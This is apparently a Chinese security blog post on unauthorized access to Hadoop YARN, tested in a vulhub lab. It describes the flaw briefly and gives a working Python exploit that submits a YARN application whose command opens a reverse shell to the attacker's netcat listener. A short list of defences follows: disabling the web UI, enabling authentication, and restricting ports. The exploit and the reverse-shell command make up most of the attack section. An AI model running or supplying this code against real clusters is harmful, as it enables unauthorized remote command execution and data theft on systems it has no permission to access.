Hadoop未授权访问漏洞


漏洞简介以及危害

Hadoop是一个由Apache基金会所开发的分布式系统基础架构,由于服务器器直接在开放了了
Hadoop 机器器 HDFS 的 50070 web 端口及部分默认服务口口,黑客可以通过命令行操作多个目录下
的数据,如进行删除,下载,目录浏览甚至命令行行等操作,产生极大的危害。

环境

vulnhub

测试

启动环境

docker-compose up -d

访问

http://192.168.0.100:8088/cluster

通过REST API命令执行
利用过程:
在本地监听端口 > 创建Application > 调用Submit Application API提交
1.本机监听

nc -lvvp 8888

2.直接本机执行EXP:python exp.py

import requests
target = 'http://192.168.0.100:8088/'
lhost = '192.168.0.105' # put your local host ip here, and listen at port 8888
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell','am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/8888 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)

3.反弹shell成功

防御手段

  • 如无必要, 关闭 Hadoop Web 管理⻚面。
  • 开启身份验证 ,防止未经授权用户访问。
  • 设置“安全组”访问控制策略,将 Hadoop 默认开放的多个端口对公网全部禁止或限制可信任的 IP 地址才能访包括 50070 以及 WebUI 等相关端口。

文章作者: 剑胆琴心
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 剑胆琴心 !
评论
 上一篇
CouchDB未授权访问&命令执行 CouchDB未授权访问&命令执行
漏洞简介以及危害Apache CouchDB是一个开源数据库,专注于易用性和成为”完全拥抱web的数据库”。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广
2020-05-26
下一篇 
redis漏洞利用 redis漏洞利用
一些关于redis未授权访问和其它简单漏洞利用方式
2020-05-26
  目录